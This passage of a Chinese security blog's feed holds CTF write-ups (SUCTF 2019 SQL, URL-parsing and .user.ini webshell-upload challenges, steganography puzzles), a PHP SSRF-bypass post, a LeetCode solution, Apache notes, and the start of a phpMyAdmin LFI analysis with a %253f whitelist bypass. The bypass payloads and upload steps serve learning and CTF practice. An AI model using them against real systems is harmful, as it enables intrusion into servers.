&lt;p&gt;&lt;code&gt;0://evil$google.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意这里必须用单引号括起来。。&lt;/p&gt;
&lt;h2&gt;实现XSS&lt;/h2&gt;
&lt;p&gt;作者之后修改了代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
   echo &quot;Argument: &quot;.$argv[1].&quot;\n&quot;;
   // check if argument is a valid URL
   if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
      // parse URL
      $r = parse_url($argv[1]);
      print_r($r);
      // check if host ends with google.com
      if(preg_match(&apos;/google\.com$/&apos;, $r[&apos;host&apos;])) {
         // get page from URL
         $a = file_get_contents($argv[1]);
         echo($a);
      } else {
         echo &quot;Error: Host not allowed&quot;;
      }
   } else {
      echo &quot;Error: Invalid URL&quot;;
   }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;作者想要注入一点东西,但是并没有成功&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续尝试：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;data://google.com/plain;base64,SSBsb3ZlIFBIUAo=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php14.png&quot; alt=&quot;此时注入成功了&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么XSS就很容易了&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51&quot;&gt;PHP SSRF Techniques&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize(&quot;&gt;&lt;br /&gt;
Some trick in ssrf and unserialize()&lt;/a&gt;/)&lt;/p&gt;
</content:encoded></item><item><title>suctf2019</title><link>https://rayepeng.net/posts/suctf2019/</link><guid isPermaLink="true">https://rayepeng.net/posts/suctf2019/</guid><pubDate>Tue, 20 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;easy_sql&lt;/h2&gt;
&lt;p&gt;应该是非预期解，输入abs(1)就有flag&lt;/p&gt;
&lt;p&gt;不过也可以这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/sql6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后期在线维护的时候泄露了源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    session_start();

    include_once &quot;config.php&quot;;

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect(&quot;localhost&quot;,$datauser,$datapass);
    if(!$MysqlLink){
        die(&quot;Mysql Connect Error!&quot;);
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die(&quot;Choose Database Error!&quot;);
    }

    foreach ($_POST as $k=&amp;gt;$v){
        if(!empty($v)&amp;amp;&amp;amp;is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=&amp;gt;$v){
        }
    }
    //die();
    ?&amp;gt;

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;

&amp;lt;a&amp;gt; Give me your flag, I will tell you if the flag is right. &amp;lt;/a&amp;gt;
&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;query&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&amp;lt;?php

    if(isset($post[&apos;query&apos;])){
        $BlackList = &quot;prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&amp;amp;|\&quot;&quot;;
        //var_dump(preg_match(&quot;/{$BlackList}/is&quot;,$post[&apos;query&apos;]));
        if(preg_match(&quot;/{$BlackList}/is&quot;,$post[&apos;query&apos;])){
            //echo $post[&apos;query&apos;];
            die(&quot;Nonono.&quot;);
        }
        if(strlen($post[&apos;query&apos;])&amp;gt;40){
            die(&quot;Too long.&quot;);
        }
        $sql = &quot;select &quot;.$post[&apos;query&apos;].&quot;||flag from Flag&quot;;
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看源码不太明白这个题目的用意，后来参考师傅们的wp时提到了&lt;code&gt;||&lt;/code&gt;拼接&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/lixora/article/details/60572357&quot;&gt;mysql 修改sql_mode 实现字符串管道‘||’连接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一种思路是直接使用&lt;code&gt;*,1&lt;/code&gt;去拿到flag，另一种方式就是设置&lt;code&gt;sql_mode&lt;/code&gt;来实现字符串的拼接&lt;/p&gt;
&lt;h2&gt;python nginx&lt;/h2&gt;
&lt;p&gt;首页有源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        @app.route(&apos;/getUrl&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def getUrl():
    url = request.args.get(&quot;url&quot;)
    host = parse.urlparse(url).hostname
    if host == &apos;suctf.cc&apos;:
        return &quot;我扌 your problem? 111&quot;
    parts = list(urlsplit(url))
    host = parts[1]
    if host == &apos;suctf.cc&apos;:
        return &quot;我扌 your problem? 222 &quot; + host
    newhost = []
    for h in host.split(&apos;.&apos;):
        newhost.append(h.encode(&apos;idna&apos;).decode(&apos;utf-8&apos;))
    parts[1] = &apos;.&apos;.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(&apos; &apos;)[0]
    host = parse.urlparse(finalUrl).hostname
    if host == &apos;suctf.cc&apos;:
        return urllib.request.urlopen(finalUrl).read()
    else:
        return &quot;我扌 your problem? 333&quot;
    &amp;lt;/code&amp;gt;
    &amp;lt;!-- Dont worry about the suctf.cc. Go on! --&amp;gt;
    &amp;lt;!-- Do you know the nginx? --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个题目似乎有一个姿势&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/suctf0.png&quot; alt=&quot;黑帽大会的ppt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;urlparse函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zz :: ~ » python
Python 3.5.4 (v3.5.4:3f56838, Aug  8 2017, 02:17:05) [MSC v.1900 64 bit (AMD64)] on win32
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&amp;gt;&amp;gt;&amp;gt; from urllib.parse import urlparse
&amp;gt;&amp;gt;&amp;gt; r = &quot;https://prontosil.club&quot;
&amp;gt;&amp;gt;&amp;gt; urlparse_result = urlparse(r)
&amp;gt;&amp;gt;&amp;gt; urlparse_result
ParseResult(scheme=&apos;https&apos;, netloc=&apos;prontosil.club&apos;, path=&apos;&apos;, params=&apos;&apos;, query=&apos;&apos;, fragment=&apos;&apos;)
&amp;gt;&amp;gt;&amp;gt; urlparse_result.hostname
&apos;prontosil.club&apos;
&amp;gt;&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;checkin&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/suctf1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;自己在nginx环境下进行了测试，成功地用了&lt;code&gt;.user.ini&lt;/code&gt;复现了这个(开始的时候总是失败也是很迷了，似乎不能在index.php下进行测试)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/suctf2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传一个&lt;code&gt;.user.ini&lt;/code&gt;&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/suctf3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后上传一个马&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/suctf4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后直接访问就行了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/suctf5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;orz服了&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.xmsec.cc/suctf19-wp/&quot;&gt;SUCTF 2019 web partial wp&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>threeSumClosest</title><link>https://rayepeng.net/posts/threesumclosest/</link><guid isPermaLink="true">https://rayepeng.net/posts/threesumclosest/</guid><pubDate>Tue, 20 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;好久没写leetcode了，最近决定用php来写一些&lt;/p&gt;
&lt;p&gt;threesumcloset这题要求在一个数组中找到离target最近的三个数的和&lt;/p&gt;
&lt;p&gt;这里用到了一下双指针的思路，就是确定两个指针，一个往高走，一个往低走&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class threeSumClosest
{
    /**
     * @param Integer[] $nums
     * @param Integer $target
     * @return Integer
     */
    function threeSumClosest($nums, $target)
    {
       //先排序，php数组排序的函数
        sort($nums);
        //计算长度
        $len = count($nums);
        /*
         * 基本思路：通过i遍历数组，再设置两个指针
         */
        $minidistance = PHP_INT_MAX; //保存最小的距离
        $low = 1;
        $high = $len-1;
        for($i = 0; $i &amp;lt; $len-2; $i++){
            //要去重
            if ($i &amp;gt; 0 &amp;amp;&amp;amp; $nums[$i] == $nums[$i-1]){
                continue;
            }
            //得到两个指针

            $sum = $nums[$low]+$nums[$high]+$nums[$i];
            $distance = $target-$sum;
            if($distance == 0){
                return $distance;
            }
            if($distance !== 0&amp;amp;&amp;amp; abs($distance) &amp;lt; abs($minidistance)){
                $minidistance = $sum;
            }
            //然后开始移动指针
            if($distance &amp;lt; 0){
                //小于0是不是可以把low调大一点，注意去重
                if($low &amp;lt; $high &amp;amp;&amp;amp; $nums[$low] != $nums[$low-1]){
                    $low =  $low + 1;
                }
            }
            elseif ($distance &amp;gt; 0){
                if($low &amp;lt; $high &amp;amp;&amp;amp; $nums[$high] != $nums[$high+1]){
                    $high = $high - 1;
                }
            }

        }
        return $minidistance;

    }
}

$a = new threeSumClosest();

$nums = [-1,2,-1,4];
$target = 1;

echo $a-&amp;gt;threeSumClosest($nums, $target);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;新手php代码写的还很烂，提交之后没有过&lt;/p&gt;
&lt;p&gt;遇到了几个地方记录一下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;php的注释形式，需要写清楚参数的类型和返回值&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;php中最大的整数是PHP_INT_MAX&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;if ($i &amp;gt; 0 &amp;amp;&amp;amp; $nums[$i] == $nums[$i-1]){&lt;/code&gt;由于没有加上&lt;code&gt;$i&amp;gt;0&lt;/code&gt;，php可以倒过来取数字而不报错的&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;[0,0,0]
1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个测试过不了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;去重的方式了解一下&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/zh/array.sorting.php&quot;&gt;php数组排序&lt;/a&gt; 这里用sort就好，之前用asort的时候索引没有变。这种排序也是很强了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最后的这个报错很玄学了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/20/tAsdHz8RPB9bQfi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更新一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class threeSumClosest
{
    /**
     * @param Integer[] $nums
     * @param Integer $target
     * @return Integer
     */
    function threeSumClosest1($nums, $target)
    {
       //先排序，php数组排序的函数
        sort($nums);
        //计算长度
        $len = count($nums);
        /*
         * 基本思路：通过i遍历数组，再设置两个指针
         */
        $minidistance = PHP_INT_MAX; //保存最小的距离
        $low = 1;
        $high = $len-1;
        for($i = 0; $i &amp;lt; $len-2; $i++){
            //要去重
            //得到两个指针
            $low = $i+1;
            $high = $len-1;

            while($low &amp;lt; $high){
              $sum = $nums[$i]+$nums[$low]+$nums[$high];
              $distance = $target-$sum;
              if($distance === 0){return  $distance;}
              if(abs($distance) &amp;lt; abs($minidistance)){$minidistance = $distance;}
              if($distance &amp;gt; 0){$low=$low+1;}
              if($distance &amp;lt; 0){$high=$high-1;}
            }

        }
        return $target - $minidistance;

    }
}

$a = new threeSumClosest();

$nums = [-1,0,1,1,55];
$target = 3;

echo $a-&amp;gt;threeSumClosest1($nums, $target);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;success&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/ohmygirl/article/details/7850068&quot;&gt;算法总结—数组相关 双指针法的常见应用。&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://leetcode.com/problems/3sum-closest/discuss/252701/php-28-ms-(faster-than-100.00&quot;&gt;大师傅的代码&lt;/a&gt;-14.9-MB-(less-than-100.00))&lt;/p&gt;
</content:encoded></item><item><title>学习apache</title><link>https://rayepeng.net/posts/%E5%AD%A6%E4%B9%A0apache/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%AD%A6%E4%B9%A0apache/</guid><pubDate>Tue, 20 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;一直以来习惯了在Windows下通过wampserver和phpstudy来进行php,apache,mysql的组合，现在有必要自己从头开始进行一些学习了&lt;/p&gt;
&lt;h2&gt;apache配置学习&lt;/h2&gt;
&lt;h2&gt;.htaccess文件&lt;/h2&gt;
&lt;p&gt;先看一段防盗链的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RewriteBase /

RewriteCond %{HTTP_REFERER} !^$

RewriteCond %{HTTP_REFERER} !^http://(www.)?aqee.net/.*$ [NC]

RewriteRule .(gif|jpg|swf|flv|png)$ /feed/ [R=302,L]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;肯定是一脸茫然&lt;/p&gt;
&lt;p&gt;那就好好学习一下.htaccess文件&lt;/p&gt;
&lt;h2&gt;服务器状态码&lt;/h2&gt;
&lt;p&gt;在服务器回应客户端时会回应相应的状态码，不同的状态码具有不同的含义&lt;/p&gt;
&lt;p&gt;1xx：信息类&lt;/p&gt;
&lt;p&gt;2xx：成功类&lt;/p&gt;
&lt;p&gt;3xx：重定向类&lt;/p&gt;
&lt;p&gt;4xx：客户端错误类&lt;/p&gt;
&lt;p&gt;5xx：服务端错误类&lt;/p&gt;
&lt;p&gt;（比如我用flask写一个小型的应用时，遇到了500的错误其实是代码出错了:cry:&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.51cto.com/jackcui/1858989&quot;&gt;由浅入深学习apache&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>MISC中的隐写</title><link>https://rayepeng.net/posts/misc%E4%B8%AD%E7%9A%84%E9%9A%90%E5%86%99/</link><guid isPermaLink="true">https://rayepeng.net/posts/misc%E4%B8%AD%E7%9A%84%E9%9A%90%E5%86%99/</guid><pubDate>Mon, 19 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;bugkuctf——猫片&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2019/08/19/wZLp2fXUACgbSBn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一张猫的图片，题目有三个提示LSB BGR NTFS&lt;/p&gt;
&lt;p&gt;于是用StegSolver去提取数据&lt;/p&gt;
&lt;p&gt;看到了PNG的文件头&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/cat0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;保存下来在Winhex中打开&lt;/p&gt;
&lt;p&gt;修复好图片，然后用微信扫描，（虽然这张图片是颜色反转的，但是新版的微信也能扫出来）&lt;/p&gt;
&lt;p&gt;得到一个rar&lt;a href=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/flag.rar&quot;&gt;压缩文件&lt;/a&gt;，用winrar解压报错，于是机智的我用7z解压，然而。。。&lt;/p&gt;
&lt;p&gt;只好去找师傅们的wp，说是NTFS隐写，给了个&lt;a href=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ntfsstreamseditor.7z&quot;&gt;工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这时候就有点坑爹了，用7z解压缩的找不到，必须得用winrar解压缩的才行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/cat1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到pyc文件之后需要去这个&lt;a href=&quot;https://tool.lu/pyc/&quot;&gt;网站&lt;/a&gt;反编译成python代码&lt;/p&gt;
&lt;p&gt;得到python代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

def encode():
    flag = &apos;*************&apos;
    ciphertext = []
    for i in range(len(flag)):
        s = chr(i ^ ord(flag[i]))
        if i % 2 == 0:
            s = ord(s) + 10
        else:
            s = ord(s) - 10
        ciphertext.append(str(s))
    
    return ciphertext[::-1]

ciphertext = [
    &apos;96&apos;,
    &apos;65&apos;,
    &apos;93&apos;,
    &apos;123&apos;,
    &apos;91&apos;,
    &apos;97&apos;,
    &apos;22&apos;,
    &apos;93&apos;,
    &apos;70&apos;,
    &apos;102&apos;,
    &apos;94&apos;,
    &apos;132&apos;,
    &apos;46&apos;,
    &apos;112&apos;,
    &apos;64&apos;,
    &apos;97&apos;,
    &apos;88&apos;,
    &apos;80&apos;,
    &apos;82&apos;,
    &apos;137&apos;,
    &apos;90&apos;,
    &apos;109&apos;,
    &apos;99&apos;,
    &apos;112&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我的解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 解码
def decode():
    res = []
    ciphertextTemp = ciphertext[::-1]
    for i in range(len(ciphertext)):
        s = ciphertextTemp[i]
        if i % 2 == 0:
            s = chr(int(s)-10)
        else:
            s = chr(int(s)+10)
        res.append(chr(int(str(ord(s)^i))))
    return &apos;&apos;.join(x for x in res)

print(decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;whuctf—taxi.png&lt;/h2&gt;
&lt;p&gt;这个题目当时使用matlab提取出来的，不过后来才知道用stegsolver也行&lt;/p&gt;
&lt;p&gt;只需要打开之后浏览不同的通道即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/cat2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tool.lami.fun/jiami/aes&quot;&gt;解密网站&lt;/a&gt;&lt;br /&gt;
此时我们简要分析一下StegSolver是如何提取数据的&lt;/p&gt;
&lt;p&gt;给出代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from PIL import Image

im = Image.open(&quot;LSB.bmp&quot;)

pix = im.load()

width, height = im.size

extract_bits = []

for y in range(height):
    for x in range(width):
        # 每次取出一个像素点
        r,g,b = pix[(x, y)]
        extract_bits.append(r &amp;amp; 1)
        extract_bits.append(g &amp;amp; 1)
        extract_bits.append(b &amp;amp; 1)

# 然后每8位一组

extract_byte_bits = [extract_bits[i:i+8] for i in range(0, len(extract_bits), 8)]

with open(&quot;extracted2.bmp&quot;, &quot;wb&quot;) as f:
    for per_byte in extract_byte_bits: 
        byte_str = &apos;&apos;.join(str(x) for x in per_byte)  # 将list中的元素拼接起来
        byteStr = chr(int(byte_str, 2))
        f.write(bytes(byteStr, encoding=&apos;utf-8&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个是参考&lt;a href=&quot;https://xz.aliyun.com/t/1844#toc-0&quot;&gt;先知某位师傅&lt;/a&gt;后修改的，适用于python3&lt;/p&gt;
&lt;p&gt;可以帮助理解如何提取，从代码中可以看出，此处是先确定某一处高度，然后依次将宽度上的像素点提取出来，也就是StegSolver中的&lt;code&gt;Extracted by Row&lt;/code&gt;,并且此处是按照该rgb的顺序来的&lt;/p&gt;
&lt;p&gt;大概思考了一下如果要把信息隐藏到图片中，这样应该可以:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from PIL import Image

im = Image.open(&quot;LSB.bmp&quot;)

pix = im.load()

width,height = im.size

flag = &quot;flag{Ilovyou}&quot;

# 取出flag中的每一位，编码成2进制的8位，3位3位的选出来
# 依次与r,g,b去与
# 

insert_bits = []

for i in range(len(flag)):
	byte = bin(ord(flag[i]))[2:].zfill(8)
	insert_bits.append(byte[x] for x in range(len(byte)))

# 化成3位一组
# 
insert_bits_per_3 = [insert_bits[i:i+3] for i in range(0, len(insert_bits), 3)]

for y in range(height):
	for x in range(width):
		r,g,b = pix[(x,y)]

        ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我不知道怎么把数据写回图片。。。未完待续好了&lt;/p&gt;
&lt;h2&gt;实验吧一道题&lt;/h2&gt;
&lt;p&gt;这样一张bmp格式的图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/01.bmp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解法就是通过Windows的画图工具另存为png格式的，然后用StrgSolver浏览就行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/shiyanba9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;问鼎杯保密技能大赛&lt;/h2&gt;
&lt;p&gt;得到这样一张图片，&lt;br /&gt;
![]&lt;a href=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/misc4.png&quot;&gt;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/misc4.png&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先需要修复png格式，其次需要修改宽度，但是需要考虑到crc32校验码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;



misc = open(&quot;misc4.png&quot;,&quot;rb&quot;).read()

# i = 0
# a = struct.pack(&apos;&amp;gt;i&apos;, i)

for i in range(1024):
	data = misc[12:16] + struct.pack(&apos;&amp;gt;i&apos;,i)+ misc[20:29]
	crc32 = binascii.crc32(data) &amp;amp; 0xffffffff
	if crc32 == 0x932f8a6b:
		print(i)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一个数据块总共就是13位长，&lt;code&gt;struct.pack(&apos;&amp;gt;i&apos;,i)&lt;/code&gt;依次尝试每一个宽度&lt;/p&gt;
&lt;p&gt;不过为啥要与&lt;code&gt;0xffffffff&lt;/code&gt;进行与运算就很神奇&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/misc/picture/png-zh/#chunk&quot;&gt;参考PNG&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://segmentfault.com/a/1190000016223897&quot;&gt;Lsb图片隐写&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/RobinDavid/LSB-Steganography/blob/8c41e05e76cfa94ecc67d25a769aa81fbb3854ac/LSBSteg.py#L4&quot;&gt;github上一个LSB项目&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>phpmyadmin远程文件包含漏洞</title><link>https://rayepeng.net/posts/phpmyadmin%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/</link><guid isPermaLink="true">https://rayepeng.net/posts/phpmyadmin%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/</guid><pubDate>Mon, 19 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;phpmyadmin 这个漏洞可以说是由于太过细心而导致的，这也证实了安全永远在路上&lt;/p&gt;
&lt;p&gt;这个本地文件包含的漏洞确实挺巧妙地，分析一下：&lt;/p&gt;
&lt;h2&gt;漏洞利用分析&lt;/h2&gt;
&lt;p&gt;在GitHub上找了一下phpmyadmin的源码，不过话说我还不知带phpmyadmin怎么安装，之后研究一下&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/phpmyadmin/phpmyadmin/blob/81fb6f75621ee2004c9406abdfb5f72de318af33/index.php#L55&quot;&gt;index.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看到这串代码if判断很多，主要是最后一个判断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (! empty($_REQUEST[&apos;target&apos;])
    &amp;amp;&amp;amp; is_string($_REQUEST[&apos;target&apos;])
    &amp;amp;&amp;amp; ! preg_match(&apos;/^index/&apos;, $_REQUEST[&apos;target&apos;])
    &amp;amp;&amp;amp; ! in_array($_REQUEST[&apos;target&apos;], $target_blacklist)
    &amp;amp;&amp;amp; Core::checkPageValidity($_REQUEST[&apos;target&apos;])
) {
    include $_REQUEST[&apos;target&apos;];
    exit;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意&lt;code&gt;preg_match(&apos;/^index/&apos;, $_REQUEST[&apos;target&apos;])&lt;/code&gt;是判断是不是以index开头，如果是就返回true，但是由于&lt;code&gt;!&lt;/code&gt;所以就不能以index开头，类似这种判断不要被绕晕了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Core::checkPageValidity&lt;/code&gt;检查，问题就出在这，方法定义在&lt;a href=&quot;https://github.com/phpmyadmin/phpmyadmin/blob/81fb6f75621ee2004c9406abdfb5f72de318af33/libraries/classes/Core.php#L443&quot;&gt;443行&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;黑名单如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$target_blacklist = array (
    &apos;import.php&apos;, &apos;export.php&apos;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;方法具体如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function checkPageValidity(&amp;amp;$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }
    if (in_array($page, $whitelist)) {
        return true;
    }
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . &apos;?&apos;, &apos;?&apos;)
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . &apos;?&apos;, &apos;?&apos;)
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们两个词URL编码。即&lt;code&gt;%253f&lt;/code&gt; 浏览器传送之后变成&lt;code&gt;%3f&lt;/code&gt;此时前两次if都不会进去，最后一次先&lt;code&gt;urldecode&lt;/code&gt;，那么就变成了&lt;code&gt;?&lt;/code&gt; 这时候是可以绕过的。&lt;/p&gt;
&lt;p&gt;之所以要两次编码，直接用一个”?”不也可以绕过吗。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/php0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;会导致这样的问题不能包含成功，具体为什么我也不是很清楚&lt;/p&gt;
&lt;h2&gt;hctf2018&lt;/h2&gt;
&lt;p&gt;这篇&lt;a href=&quot;https://www.jianshu.com/p/0d75017c154f&quot;&gt;文章&lt;/a&gt;已经讲的很详细了，这里写一下hctf2018的一道热身题，当时都还没仔细想过是一个已经存在的CVE&lt;/p&gt;
&lt;p&gt;题目源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&amp;amp;$page)
        {
